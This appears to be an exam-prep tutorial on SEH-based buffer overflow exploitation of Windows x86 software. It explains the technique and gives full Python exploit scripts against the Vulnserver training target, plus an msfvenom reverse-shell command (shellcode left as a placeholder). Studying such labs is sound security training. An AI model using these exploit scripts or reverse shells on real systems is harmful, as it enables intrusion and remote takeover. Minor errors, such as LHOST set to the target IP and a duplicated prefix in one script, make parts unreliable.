> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/seh-overflows.md).

# SEH-Based Buffer Overflow — OSED Deep Dive

> **Scope:** SEH exploitation only — theory through final exploit\
> **Platform:** Windows x86\
> **Tools:** Immunity Debugger, mona.py, WinDbg, msfvenom\
> **Exam:** OSED / EXP-301

***

## Table of Contents

1. [What Is SEH and Why It Matters](#1-what-is-seh-and-why-it-matters)
2. [SEH Chain — Memory Layout in Detail](#2-seh-chain--memory-layout-in-detail)
3. [How Windows Dispatches an Exception](#3-how-windows-dispatches-an-exception)
4. [Why SEH Overflow Differs from Vanilla EIP](#4-why-seh-overflow-differs-from-vanilla-eip)
5. [The POP POP RET Technique — Explained Fully](#5-the-pop-pop-ret-technique--explained-fully)
6. [The nSEH Short Jump Trick](#6-the-nseh-short-jump-trick)
7. [Full OSED SEH Workflow — Step by Step](#7-full-osed-seh-workflow--step-by-step)
8. [Fuzzing for SEH Crashes](#8-fuzzing-for-seh-crashes)
9. [Offset Discovery — nSEH and SEH](#9-offset-discovery--nseh-and-seh)
10. [Finding Bad Characters](#10-finding-bad-characters)
11. [Finding POP POP RET](#11-finding-pop-pop-ret)
12. [SafeSEH — What It Is and How to Bypass](#12-safeseh--what-it-is-and-how-to-bypass)
13. [Building the Final SEH Exploit](#13-building-the-final-seh-exploit)
14. [Immunity Debugger — SEH-Specific Commands](#14-immunity-debugger--seh-specific-commands)
15. [WinDbg — SEH Commands](#15-windbg--seh-commands)
16. [All Scripts](#16-all-scripts)
17. [Common Failures and Fixes](#17-common-failures-and-fixes)
18. [Quick Reference](#18-quick-reference)

***

## 1. What Is SEH and Why It Matters

### Structured Exception Handling Overview

SEH is Windows' mechanism for catching runtime errors (access violations, divide by zero, stack overflows, etc.) at the application level. Every thread has an SEH chain — a linked list of exception handler records stored on the stack.

When an exception fires, Windows walks this chain looking for a handler that can deal with it. If none can, the default OS handler terminates the process.

### Why SEH Matters for Exploitation

Two scenarios where SEH exploitation is required instead of vanilla EIP overwrite:

1. **Stack cookies (GS) protect the return address** — the cookie is checked before `ret` executes, so overwriting EIP causes termination before you get control. But SEH records on the stack are NOT protected by GS cookies.
2. **The crash itself is caught** — the application registers exception handlers for its own buffers. A vanilla overflow causes an access violation, which is caught by an SEH handler. Your overflow overwrites that handler before it's called.

In both cases: overflow → exception fires → Windows calls the SEH handler you've overwritten → you get execution.

***

## 2. SEH Chain — Memory Layout in Detail

### EXCEPTION\_REGISTRATION\_RECORD Structure

Each node in the SEH chain is an `_EXCEPTION_REGISTRATION_RECORD`:

```c
typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;  // 4 bytes — pointer to next record
    PEXCEPTION_ROUTINE                    Handler; // 4 bytes — pointer to handler function
} EXCEPTION_REGISTRATION_RECORD;
```

Each record is exactly **8 bytes**. The chain is a singly-linked list.

### SEH Chain on the Stack

```
High addresses
┌──────────────────────────────────┐
│ Thread Stack Base                │
│                                  │
│  ┌────────────────────────────┐  │
│  │ SEH Record 3 (last)        │  │
│  │   Next    = 0xFFFFFFFF     │  │ ← end-of-chain sentinel
│  │   Handler = 0x77xxxxxx     │  │ ← OS default handler (UnhandledExceptionFilter)
│  ├────────────────────────────┤  │
│  │ SEH Record 2               │  │
│  │   Next    = → Record 3     │  │
│  │   Handler = 0x00401xxx     │  │ ← application handler
│  ├────────────────────────────┤  │
│  │ SEH Record 1 (innermost)   │  │
│  │   Next    = → Record 2     │  │ ← nSEH  ← you overwrite this
│  │   Handler = 0x00402xxx     │  │ ← SEH   ← you overwrite this
│  └────────────────────────────┘  │
│                                  │
│  [your buffer grows up here]     │
│  [buf[0] ... buf[N]]             │
└──────────────────────────────────┘
Low addresses (ESP)
```

### TEB Points to the SEH Chain

The Thread Environment Block (TEB) holds a pointer to the head (innermost) SEH record:

```
FS:[0]  →  address of innermost EXCEPTION_REGISTRATION_RECORD
           │
           ├─ Next    (4 bytes) = nSEH
           └─ Handler (4 bytes) = SEH handler pointer
```

This is why SEH records are on the stack — they're allocated as local variables inside functions that install handlers (like `__try` blocks).

### What You Overwrite

With a large enough buffer, you reach the SEH record sitting on the stack:

```
[buf padding ... ] [nSEH — 4 bytes] [SEH handler — 4 bytes] [more stack ...]
                    ↑ offset A        ↑ offset A+4
```

* `nSEH` = Next SEH pointer — you put a short JMP here
* `SEH` = Handler pointer — you put a POP POP RET address here

***

## 3. How Windows Dispatches an Exception

Understanding dispatch is critical — it explains exactly why POP POP RET works.

### Step-by-Step Exception Dispatch

```
1. Exception fires (access violation, etc.)

2. CPU switches to kernel mode
   → saves thread context (all registers)

3. Kernel calls KiUserExceptionDispatcher (ntdll) in user mode

4. KiUserExceptionDispatcher calls RtlDispatchException

5. RtlDispatchException walks the SEH chain from FS:[0]:
   for each EXCEPTION_REGISTRATION_RECORD:
       call Handler(ExceptionRecord, EstablisherFrame, ContextRecord, DispatcherContext)

6. Handler is called with these arguments on the stack:
   [ESP+0]  = return address (back to dispatcher)
   [ESP+4]  = ExceptionRecord ptr
   [ESP+8]  = EstablisherFrame ptr  ← THIS IS KEY
   [ESP+12] = ContextRecord ptr
   [ESP+16] = DispatcherContext ptr

7. EstablisherFrame = address of the EXCEPTION_REGISTRATION_RECORD itself
   → [EstablisherFrame+0] = nSEH (Next pointer)
   → [EstablisherFrame+4] = SEH  (Handler pointer — which you overwrote)
```

### At the Moment Your SEH Handler Is Called

```
ESP → [ ret addr back to dispatcher ]   [ESP+0]
       [ ExceptionRecord ptr        ]   [ESP+4]
       [ EstablisherFrame ptr       ]   [ESP+8]  ← points to nSEH field
       [ ContextRecord ptr          ]   [ESP+12]
       ...
```

`ESP+8` contains a pointer directly to your nSEH field. Two POPs advance ESP to `ESP+8`, and then RET pops that value into EIP — jumping to nSEH.

***

## 4. Why SEH Overflow Differs from Vanilla EIP

| Aspect                     | Vanilla EIP Overwrite            | SEH Overwrite                           |
| -------------------------- | -------------------------------- | --------------------------------------- |
| Target                     | Saved return address             | SEH Handler pointer                     |
| Triggered by               | `ret` instruction                | Exception being dispatched              |
| Stack at control           | ESP points after overwritten EIP | ESP+8 points to nSEH                    |
| Trampoline needed          | JMP ESP                          | POP POP RET                             |
| Stack cookie bypass        | No (cookie checked before ret)   | Yes (SEH not protected)                 |
| SafeSEH module restriction | N/A                              | Yes — module must not have SafeSEH      |
| Shellcode placement        | After EIP in payload             | After nSEH+SEH (offset+8)               |
| Short jump needed          | No                               | Yes — nSEH JMPs over SEH into shellcode |

### Visual Comparison

**Vanilla:**

```
[AAAA × offset][JMP ESP addr][NOP sled][shellcode]
                ↑ overwrites ret addr
                → ret executes → JMP ESP → shellcode
```

**SEH:**

```
[AAAA × offset][nSEH = \xeb\x06\x90\x90][SEH = POP POP RET addr][NOP × 16][shellcode]
                ↑ short JMP +6            ↑ overwrites handler
                                          → exception → PPR → jumps to nSEH
                                          → \xeb\x06 executes → jumps +6 → NOP sled → shellcode
```

***

## 5. The POP POP RET Technique — Explained Fully

### Why Two POPs?

When your SEH handler is called, the stack looks like this:

```
ESP+0   →  return address (4 bytes)       — back to dispatcher
ESP+4   →  ExceptionRecord ptr (4 bytes)
ESP+8   →  EstablisherFrame ptr (4 bytes) ← points to nSEH field
ESP+12  →  ContextRecord ptr (4 bytes)
ESP+16  →  DispatcherContext ptr (4 bytes)
```

You need to get `ESP+8` into EIP. The sequence:

```asm
POP reg1    ; ESP advances to ESP+4   (skips return address)
POP reg2    ; ESP advances to ESP+8   (skips ExceptionRecord ptr)
RET         ; pops [ESP+8] into EIP   (EstablisherFrame = address of nSEH)
            ; execution jumps to nSEH field
```

The register used for each POP doesn't matter — you're just consuming stack words to move ESP.

### Which POP POP RET Combinations Are Valid?

Any combination of these as two POPs is fine:

```
POP EAX  (58)    POP ECX  (59)    POP EDX  (5A)    POP EBX  (5B)
POP ESP  (5C)*   POP EBP  (5D)    POP ESI  (5E)    POP EDI  (5F)
```

`* POP ESP` is risky — it pops the value at `[ESP]` into ESP itself, which moves the stack pointer somewhere unpredictable. Avoid it.

Valid PPR examples:

```asm
POP EBX ; POP EBP ; RETN      (5B 5D C3)
POP EAX ; POP ECX ; RETN      (58 59 C3)
POP ESI ; POP EDI ; RETN      (5E 5F C3)
```

### What Happens After RET in PPR

```
Before PPR runs:
  ESP  →  [ ret to dispatcher ]  [ESP+0]
           [ ExcRecord ptr    ]  [ESP+4]
           [ EstFrame ptr     ]  [ESP+8]  ← this is &nSEH

PPR executes:
  POP r1   → r1 = ret_to_dispatcher;   ESP = ESP+4
  POP r2   → r2 = ExcRecord_ptr;       ESP = ESP+8
  RET      → EIP = [ESP] = EstFrame_ptr = &nSEH;  ESP = ESP+12

EIP now points to:
  [nSEH field]  = your short JMP bytes (\xeb\x06\x90\x90)
```

***

## 6. The nSEH Short Jump Trick

### Why You Need nSEH

After PPR executes, EIP lands at the `nSEH` field — the first 4 bytes of your overwrite. Immediately after those 4 bytes sit the SEH field (4 bytes of POP POP RET address). You need to skip over the SEH bytes to reach your shellcode.

### The Short Jump

```python
nSEH = b"\xeb\x06\x90\x90"
#         ↑    ↑
#         JMP  +6 (relative offset)
#              2 NOPs (padding, not strictly needed but clean)
```

`\xeb\x06` is a short JMP with a signed 8-bit relative offset:

* `\xeb` = JMP SHORT opcode
* `\x06` = offset = 6 bytes forward from end of instruction

From the end of the `\xeb\x06` instruction (2 bytes), jumping +6 lands you 6 bytes ahead:

```
offset+0:  \xeb  ← JMP SHORT opcode
offset+1:  \x06  ← +6 from here (end of instruction)
offset+2:  \x90  ← NOP (part of nSEH padding)
offset+3:  \x90  ← NOP
offset+4:  [SEH byte 0]
offset+5:  [SEH byte 1]
offset+6:  [SEH byte 2]
offset+7:  [SEH byte 3]
offset+8:  ← JMP LANDS HERE → NOP sled → shellcode
```

### nSEH Jump Distance Reference

| Offset Byte | Jump Distance | Lands After SEH?                         |
| ----------- | ------------- | ---------------------------------------- |
| `\x04`      | +4 bytes      | Lands inside SEH (bad)                   |
| `\x06`      | +6 bytes      | Lands exactly after SEH ✓                |
| `\x08`      | +8 bytes      | +4 bytes past SEH (safe)                 |
| `\x0a`      | +10 bytes     | +6 bytes past SEH (safe if 0x0a not bad) |

Use `\x06` unless `\x06` is a bad character — then use `\x08` and adjust NOP sled.

### What If 0xEB Is a Bad Character?

Alternatives to `\xeb\x06`:

```asm
; Conditional jumps that always fire (jump either way = unconditional)
\x70\x06   JO  +6   (jump if overflow)
\x72\x06   JB  +6   (jump if below)
\x74\x06   JE  +6   (jump if equal/zero)
\x75\x06   JNE +6   (jump if not equal)
\x7c\x06   JL  +6   (jump if less)

; These are 2-byte opcodes — same structure as \xeb\x06
; Pair with \x90\x90 for the remaining nSEH bytes
```

***

## 7. Full OSED SEH Workflow — Step by Step

```
Phase 1: Fuzz            → Crash the target, trigger SEH
Phase 2: Confirm SEH     → Check !exchain or SEH chain window
Phase 3: Offset          → How many bytes to nSEH and SEH?
Phase 4: Bad chars       → Which bytes are filtered?
Phase 5: POP POP RET     → Find gadget in SafeSEH=False module
Phase 6: nSEH jump       → Craft \xeb\x06\x90\x90
Phase 7: Shellcode       → Generate, place after SEH
Phase 8: Exploit         → Assemble and deliver
Phase 9: Reliability     → Test on clean VM
```

***

## 8. Fuzzing for SEH Crashes

Same fuzzer as vanilla BOF — the difference is in how you interpret the crash.

```python
#!/usr/bin/env python3
import socket, time, sys

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"GMON /.:/"   # vulnserver GMON command triggers SEH

buf = b"A" * 100
while True:
    try:
        s = socket.socket()
        s.settimeout(3)
        s.connect((IP, PORT))
        s.recv(1024)
        s.send(PREFIX + buf + b"\r\n")
        try:
            s.recv(1024)
        except:
            pass
        print(f"[*] Sent {len(buf)} bytes")
        s.close()
        time.sleep(0.3)
        buf += b"A" * 100
    except Exception as e:
        print(f"[!] Crashed at ~{len(buf)} bytes: {e}")
        sys.exit(0)
```

### Identifying an SEH Crash (vs Vanilla)

In Immunity after crash, check two things:

```
1. EIP value:
   - Vanilla: EIP = 41414141 (direct overwrite)
   - SEH:     EIP = something else — often an ntdll address,
              or EIP might be valid but ESP is wrong

2. View → SEH Chain (or Alt+S):
   - If you see 41414141 in the SE handler column → SEH overwrite confirmed
   - nSEH column = first 4 bytes of your pattern at that offset

3. !exchain in Immunity command bar:
   - Shows the corrupted chain clearly
```

SEH crash indicators:

* EIP is NOT `41414141` even with thousands of A's
* `!exchain` shows `41414141` as handler
* The app "catches" the overflow and continues for a moment before secondary crash

***

## 9. Offset Discovery — nSEH and SEH

### Create Pattern and Send

```bash
# Immunity:
!mona pattern_create 3000

# Or terminal:
msf-pattern_create -l 3000
```

```python
#!/usr/bin/env python3
import socket

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"GMON /.:/"

pattern = b"Aa0Aa1Aa2Aa3..."   # paste 3000-byte pattern

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(PREFIX + pattern + b"\r\n")
s.close()
```

### Read Offset from SEH Chain

After crash in Immunity:

```
View → SEH Chain
# or: Alt+S

Example output:
Address    SE Handler
0019F9A4   41336341   ← this is the SEH handler value (part of pattern)
0019F9A0   38614137   ← this is nSEH (next pointer) value
```

Find offsets:

```
!mona pattern_offset -e 41336341        # offset to SEH handler
# [+] Exact match at offset 3495

# nSEH is always 4 bytes BEFORE SEH:
# nSEH offset = SEH offset - 4 = 3491
```

Or use mona to find both at once:

```
!mona findmsp                           # find all registers pointing into pattern
# Shows offsets for EIP, ESP, nSEH, SEH, etc.
```

### Confirm Offsets

```python
#!/usr/bin/env python3
import socket, struct

IP, PORT  = "192.168.1.100", 9999
PREFIX    = b"GMON /.:/"

nSEH_OFF  = 3491   # offset to nSEH
SEH_OFF   = 3495   # offset to SEH handler (nSEH_OFF + 4)

payload   = b"A" * nSEH_OFF
payload  += b"B" * 4          # nSEH — expect to see 42424242 in SEH chain
payload  += b"C" * 4          # SEH  — expect to see 43434343
payload  += b"D" * 400        # space after SEH for shellcode

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(PREFIX + payload + b"\r\n")
s.close()

print("[*] Check View > SEH Chain:")
print("[*] nSEH = 42424242, SEH = 43434343")
```

Expected SEH chain output:

```
Address    SE Handler
0019F9A4   43434343   ← SEH (C's)
```

Pressing `Shift+F9` (pass exception to program) should trigger the handler.

***

## 10. Finding Bad Characters

Identical to vanilla BOF process but place badchars **after the SEH block** (in the shellcode space), since that's where your shellcode will live.

```python
#!/usr/bin/env python3
import socket

IP, PORT  = "192.168.1.100", 9999
PREFIX    = b"GMON /.:/"
nSEH_OFF  = 3491

KNOWN_BAD = [0x00]
badchars  = bytes(b for b in range(0x01, 0x100) if b not in KNOWN_BAD)

payload   = b"A" * nSEH_OFF
payload  += b"B" * 4          # nSEH placeholder
payload  += b"C" * 4          # SEH placeholder
payload  += badchars           # test bytes in shellcode area
payload  += b"\r\n"

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(PREFIX + payload + b"\r\n")
s.close()

print("[*] Crash target then in Immunity:")
print("[*] Shift+F9 to pass exception")
print(f"[*] Right-click ESP → Follow in Dump")
print(f"[*] !mona compare -f C:\\mona\\app\\bytearray.bin -a <ESP after Shift+F9>")
```

### Important: Pass Exception to Get Correct ESP

After the initial crash, press `Shift+F9` in Immunity to pass the exception to the program (triggering the SEH handler). Only after this does ESP correctly point to your payload area. Then run `!mona compare`.

```
# After Shift+F9:
!mona compare -f C:\mona\<app>\bytearray.bin -a <ESP>
```

***

## 11. Finding POP POP RET

### Module Requirements (Stricter than Vanilla)

For SEH exploitation, the module containing your PPR gadget must be:

| Requirement                       | Reason                                                                                 |
| --------------------------------- | -------------------------------------------------------------------------------------- |
| `SafeSEH = False`                 | SafeSEH validates handlers against a whitelist — PPR from a SafeSEH module is rejected |
| `ASLR = False`                    | Address must be fixed across reboots                                                   |
| `Rebase = False`                  | Address must not change at load time                                                   |
| No bad chars in address           | Goes through same transport as rest of payload                                         |
| Not the main executable (usually) | Main exe often has SafeSEH via `/GS` compilation                                       |

### Finding PPR with mona

```
# Recommended: search all suitable modules
!mona seh -cpb "\x00\x0a\x0d"

# Results saved to: C:\mona\<app>\seh.txt
# Example result:
# 0x6250120b : pop esi # pop edi # ret | [essfunc.dll]
#              SafeSEH=False | ASLR=False | Rebase=False

# Search specific module
!mona seh -m "essfunc.dll" -cpb "\x00\x0a\x0d"
```

### Manual PPR Search in Immunity

```
Right-click CPU view → Search For → All Sequences
Enter: POP R32
       POP R32
       RETN

# Or directly: right-click → Search For → Sequence of commands
```

### Manual PPR Search with WinDbg

```windbg
# Get module range
lm m essfunc

# Search for POP r32 / POP r32 / RET byte pattern
# POP EBX = 5B, POP EBP = 5D, RET = C3
s -b 0x62500000 L0x8000 5B 5D C3
s -b 0x62500000 L0x8000 5E 5F C3    # POP ESI; POP EDI; RET
s -b 0x62500000 L0x8000 58 59 C3    # POP EAX; POP ECX; RET
s -b 0x62500000 L0x8000 5D 5B C3    # POP EBP; POP EBX; RET
```

### Verifying Your PPR Address

Double-click the result in mona's seh.txt. In Immunity CPU view:

1. Confirm the instructions: `POP r32 / POP r32 / RETN`
2. Confirm no bad chars in the 4-byte address
3. Set breakpoint: `F2` on first POP
4. Send exploit → BP hit → verify stack has `[ESP+8]` = address of nSEH
5. Step through (F7): `POP` → `POP` → `RET` → lands at nSEH → short JMP fires

***

## 12. SafeSEH — What It Is and How to Bypass

### What SafeSEH Does

When a module is compiled with `/SAFESEH` (Visual Studio), the linker embeds a table of valid SEH handler addresses in the PE header. When an exception is dispatched, Windows checks the handler pointer against this table. If the address isn't listed → exception is not dispatched → your handler is never called.

```
PE header → IMAGE_LOAD_CONFIG_DIRECTORY → SEHandlerTable
                                        → SEHandlerCount
```

### Checking SafeSEH Status

```
!mona modules
# Columns: SafeSEH | ASLR | Rebase | NXCompat
# SafeSEH=True  → handler validation ON  → can't use PPR from this module
# SafeSEH=False → no validation          → usable
# SafeSEH=N/A   → old module (no /SAFESEH support) → also usable
```

### Bypass Option 1: Use a Non-SafeSEH Module

Most common approach. Find any loaded DLL without SafeSEH — third-party DLLs, older helper libraries, plugins.

```
!mona modules
# Look for: SafeSEH=False AND ASLR=False AND Rebase=False
# Use PPR gadget from that module
```

### Bypass Option 2: Module with No SafeSEH Support (Pre-XP SP2 era)

Very old modules (compiled before SafeSEH existed) show `SafeSEH=N/A` — they have no `SEHandlerTable` at all. Windows allows handlers from these modules unconditionally.

```
# In mona output:
# SafeSEH: OFF (N/A — no SEH table present)
```

### Bypass Option 3: Handler Address in Non-Image Region (Heap/Stack)

If the handler address points to the heap or stack (not a PE module range), SafeSEH validation is skipped — it only checks addresses within loaded modules. Egg hunter technique often exploits this.

### Bypass Option 4: Overwrite Handler with Address in .text of Non-SafeSEH Module

The `.text` section of modules without SafeSEH is always valid for handler addresses since they have no table to validate against.

### What SafeSEH Does NOT Protect

* The nSEH field (Next pointer) — this is not validated
* Modules without SafeSEH — any address in those is fine
* Pre-SP2 Windows — SafeSEH wasn't checked at all

***

## 13. Building the Final SEH Exploit

### Payload Layout

```
[prefix][AAAA × nSEH_offset][nSEH = \xeb\x06\x90\x90][SEH = PPR addr][NOP × 16][shellcode][CCCC ...]
         ←─ fills buffer ──→ ↑ short jump fwd         ↑ POP POP RET   ↑ shellcode lands here
```

Step trace:

1. Overflow fills buffer, overwrites nSEH and SEH
2. Access violation fires (trying to execute/read past buffer end)
3. Windows dispatches exception → calls SEH handler (your PPR address)
4. PPR runs: POP, POP, RET → EIP = address of nSEH field
5. `\xeb\x06` executes: JMP +6 → skips 2 nSEH padding bytes + 4 SEH bytes
6. Lands in NOP sled → shellcode executes

### Complete Final Exploit Script

```python
#!/usr/bin/env python3
"""
Target   : Vulnserver GMON command (or replace with your target)
Protocol : TCP
Port     : 9999
Vuln     : SEH-based stack buffer overflow
OS       : Windows x86
nSEH off : 3491
SEH off  : 3495
PPR      : 0x6250120b (essfunc.dll — SafeSEH=False, ASLR=False)
Bad chars: \x00\x0a\x0d
Author   : [your name]
"""

import socket
import struct
import sys

# ─── Target ──────────────────────────────────────────────────────────────────
IP      = "192.168.1.100"
PORT    = 9999
PREFIX  = b"GMON /.:/"

# ─── Offsets ─────────────────────────────────────────────────────────────────
nSEH_OFFSET = 3491    # bytes from start of buffer to nSEH field
# SEH is always nSEH_OFFSET + 4

# ─── nSEH — short jump over SEH into shellcode ───────────────────────────────
# \xeb\x06 = JMP SHORT +6  (jumps past 2 padding bytes + 4 SEH bytes)
# \x90\x90 = NOP padding
nSEH = b"\xeb\x06\x90\x90"

# ─── SEH — POP POP RET ───────────────────────────────────────────────────────
# !mona seh -cpb "\x00\x0a\x0d"
# 0x6250120b : pop esi # pop edi # ret — essfunc.dll (SafeSEH=False, ASLR=False)
PPR = struct.pack("<I", 0x6250120b)

# ─── Shellcode ───────────────────────────────────────────────────────────────
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444
#          -b "\x00\x0a\x0d" EXITFUNC=thread -f py -v shellcode
shellcode  = b""
shellcode += b"\xba\x7e\x8c\x18\x5c\xdb\xc2\xd9\x74\x24\xf4"
# ... paste full msfvenom output here ...

# ─── Assemble Payload ────────────────────────────────────────────────────────
nop_sled  = b"\x90" * 16

payload   = PREFIX
payload  += b"A" * nSEH_OFFSET    # padding to reach nSEH
payload  += nSEH                   # \xeb\x06\x90\x90 — short JMP
payload  += PPR                    # POP POP RET address
payload  += nop_sled               # NOP sled before shellcode
payload  += shellcode              # reverse shell
payload  += b"\r\n"

# ─── Sanity Check ────────────────────────────────────────────────────────────
BAD = [0x00, 0x0a, 0x0d]   # your full bad char list
# Note: check only the non-prefix part (prefix is protocol, may have 0x00)
check_region = payload[len(PREFIX):]
for i, b in enumerate(check_region):
    if b in BAD:
        print(f"[!] Bad char 0x{b:02x} at payload[{len(PREFIX)+i}] — FIX THIS")
        sys.exit(1)

print(f"[*] Total payload : {len(payload)} bytes")
print(f"[*] nSEH at offset: {len(PREFIX) + nSEH_OFFSET}")
print(f"[*] Shellcode at  : {len(PREFIX) + nSEH_OFFSET + 4 + 4 + len(nop_sled)}")

# ─── Deliver ─────────────────────────────────────────────────────────────────
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((IP, PORT))
    banner = s.recv(1024)
    print(f"[*] Banner: {banner.decode(errors='replace').strip()}")
    s.send(payload)
    print("[+] Payload sent — check: nc -lvnp 4444")
    s.close()
except ConnectionRefusedError:
    print("[-] Target not running")
    sys.exit(1)
except Exception as e:
    print(f"[-] {e}")
    sys.exit(1)
```

***

## 14. Immunity Debugger — SEH-Specific Commands

```
# SEH chain inspection
View → SEH Chain                          # GUI SEH chain window (Alt+S)
!exchain                                  # text dump of SEH chain in log window

# mona SEH workflow
!mona seh                                 # find all POP POP RET gadgets
!mona seh -cpb "\x00\x0a\x0d"            # exclude bad chars from results
!mona seh -m "essfunc.dll"               # search specific module
!mona seh -cpb "\x00\x0a\x0d" -o        # exclude OS modules
# Results in: C:\mona\<app>\seh.txt

# Module recon (same as vanilla, but SafeSEH column is critical here)
!mona modules
# Read: Module | SafeSEH | ASLR | Rebase

# Finding offset (same as vanilla)
!mona pattern_create 3000
!mona pattern_offset -e <SEH value>       # find SEH offset
!mona findmsp                             # find all offsets at once

# Bad chars (same process)
!mona bytearray -b "\x00"
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>   # run AFTER Shift+F9

# Passing exception in Immunity
Shift+F9                                  # pass exception to program (triggers SEH handler)
# Do this to: reach your handler code, get correct ESP for bad char compare

# Breakpoints for verification
F2 on PPR address                         # break when PPR is called
# Then F7 x3: POP, POP, RET — watch EIP land on nSEH
```

***

## 15. WinDbg — SEH Commands

```windbg
# SEH chain
!exchain                     # dump SEH chain (see handler addresses)
!exchain -v                  # verbose

# Exception record
.exr -1                      # last exception record (exception code, address, flags)
.ecxr                        # switch context to exception context
.exr 0x<addr>                # exception record at address

# After crash — check what caused it
r eip                        # where did execution stop
!analyze -v                  # auto-analyze (identifies SEH corruption)

# Read SEH chain manually
dd fs:[0] L1                 # TEB pointer to first SEH record
r $t0 = poi(fs:[0])          # store SEH chain head in t0
dd @$t0 L2                   # dump nSEH + SEH handler of first record
dd poi(@$t0) L2              # dump next record

# Pass exception (equivalent of Shift+F9)
gn                           # go — exception not handled (pass to app)
gh                           # go — exception handled

# Find POP POP RET in module
lm m essfunc                 # get module base/size
s -b 0x62500000 L0x8000 5b 5d c3    # POP EBX; POP EBP; RET
s -b 0x62500000 L0x8000 5e 5f c3    # POP ESI; POP EDI; RET
s -b 0x62500000 L0x8000 58 59 c3    # POP EAX; POP ECX; RET

# Verify PPR — set BP and trace
bp 0x6250120b
g
t                            # POP  → watch ESP advance
t                            # POP  → watch ESP advance
t                            # RET  → watch EIP = &nSEH
t                            # JMP  → watch EIP jump to NOP sled

# Check SafeSEH flag in PE headers
!dh essfunc -f               # dump headers — look for Load Config / SafeSEH

# Dump stack at exception dispatch
dds esp L10                  # see args to SEH handler
# [esp+0]  = ret to dispatcher
# [esp+4]  = ExceptionRecord ptr
# [esp+8]  = EstablisherFrame (= &nSEH)  ← verify this
# [esp+12] = ContextRecord ptr
```

***

## 16. All Scripts

### Fuzzer

```python
#!/usr/bin/env python3
import socket, time, sys

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"GMON /.:/"    # change per target command

buf = b"A" * 100
while True:
    try:
        s = socket.socket()
        s.settimeout(3)
        s.connect((IP, PORT))
        s.recv(1024)
        s.send(PREFIX + buf + b"\r\n")
        try:
            s.recv(1024)
        except:
            pass
        print(f"[*] Sent {len(buf)} bytes")
        s.close()
        time.sleep(0.3)
        buf += b"A" * 100
    except Exception as e:
        print(f"[!] Crashed at ~{len(buf)} bytes")
        sys.exit(0)
```

### Pattern Sender

```python
#!/usr/bin/env python3
import socket

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"GMON /.:/"

# msf-pattern_create -l 3000
pattern = b"Aa0Aa1Aa2..."   # paste pattern here

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(PREFIX + pattern + b"\r\n")
s.close()
print("[*] Pattern sent — check SEH Chain in Immunity")
print("[*] !mona pattern_offset -e <SEH handler value>")
```

### SEH Offset Confirmation

```python
#!/usr/bin/env python3
import socket

IP, PORT    = "192.168.1.100", 9999
PREFIX      = b"GMON /.:/"
nSEH_OFFSET = 3491   # update this

payload  = PREFIX
payload += b"A" * nSEH_OFFSET
payload += b"B" * 4     # nSEH — expect 42424242 in SEH chain (Next)
payload += b"C" * 4     # SEH  — expect 43434343 in SEH chain (Handler)
payload += b"D" * 500   # shellcode space
payload += b"\r\n"

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Check View > SEH Chain:")
print("[*]   nSEH (Next)    = 42424242")
print("[*]   SEH  (Handler) = 43434343")
print("[*] Press Shift+F9 to pass exception and confirm handler called")
```

### Bad Character Tester (SEH version)

```python
#!/usr/bin/env python3
import socket

IP, PORT    = "192.168.1.100", 9999
PREFIX      = b"GMON /.:/"
nSEH_OFFSET = 3491

KNOWN_BAD = [0x00]
badchars  = bytes(b for b in range(0x01, 0x100) if b not in KNOWN_BAD)

payload  = PREFIX
payload += b"A" * nSEH_OFFSET
payload += b"B" * 4           # nSEH placeholder
payload += b"C" * 4           # SEH placeholder
payload += badchars            # test bytes in shellcode area
payload += b"\r\n"

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(PREFIX + payload + b"\r\n")
s.close()

print("[*] Crash then in Immunity:")
print("[*] 1. Press Shift+F9 to pass exception")
print("[*] 2. Right-click ESP → Follow in Dump")
print("[*] 3. !mona compare -f C:\\mona\\app\\bytearray.bin -a <ESP>")
```

### Final Exploit (Template)

```python
#!/usr/bin/env python3
"""
SEH Buffer Overflow — Final Exploit Template
Fill in all [REPLACE] fields before use.
"""
import socket, struct, sys

IP            = "192.168.1.100"       # [REPLACE] target IP
PORT          = 9999                   # [REPLACE] target port
PREFIX        = b"GMON /.:/"          # [REPLACE] protocol prefix
nSEH_OFFSET   = 3491                  # [REPLACE] from pattern_offset
PPR_ADDR      = 0x6250120b            # [REPLACE] from !mona seh -cpb "..."
BAD_CHARS     = [0x00, 0x0a, 0x0d]   # [REPLACE] your full bad char list

# nSEH: short JMP over 4-byte SEH field into shellcode
# \xeb\x06 = JMP SHORT +6  (if \x06 or \xeb is bad, use \x70\x06 etc.)
nSEH      = b"\xeb\x06\x90\x90"
PPR       = struct.pack("<I", PPR_ADDR)
nop_sled  = b"\x90" * 16

# [REPLACE] with msfvenom output:
# msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=4444 -b "\x00\x0a\x0d" EXITFUNC=thread -f py -v shellcode
shellcode  = b""
shellcode += b"\xba\x7e\x8c\x18\x5c"  # placeholder — replace entirely

payload   = PREFIX
payload  += b"A" * nSEH_OFFSET
payload  += nSEH
payload  += PPR
payload  += nop_sled
payload  += shellcode
payload  += b"\r\n"

# Sanity check — catches accidental bad chars before sending
for i, byte in enumerate(payload[len(PREFIX):], start=len(PREFIX)):
    if byte in BAD_CHARS:
        print(f"[!] Bad char 0x{byte:02x} at offset {i}")
        sys.exit(1)

print(f"[*] Payload      : {len(payload)} bytes")
print(f"[*] nSEH offset  : {len(PREFIX) + nSEH_OFFSET}")
print(f"[*] PPR          : {hex(PPR_ADDR)}")
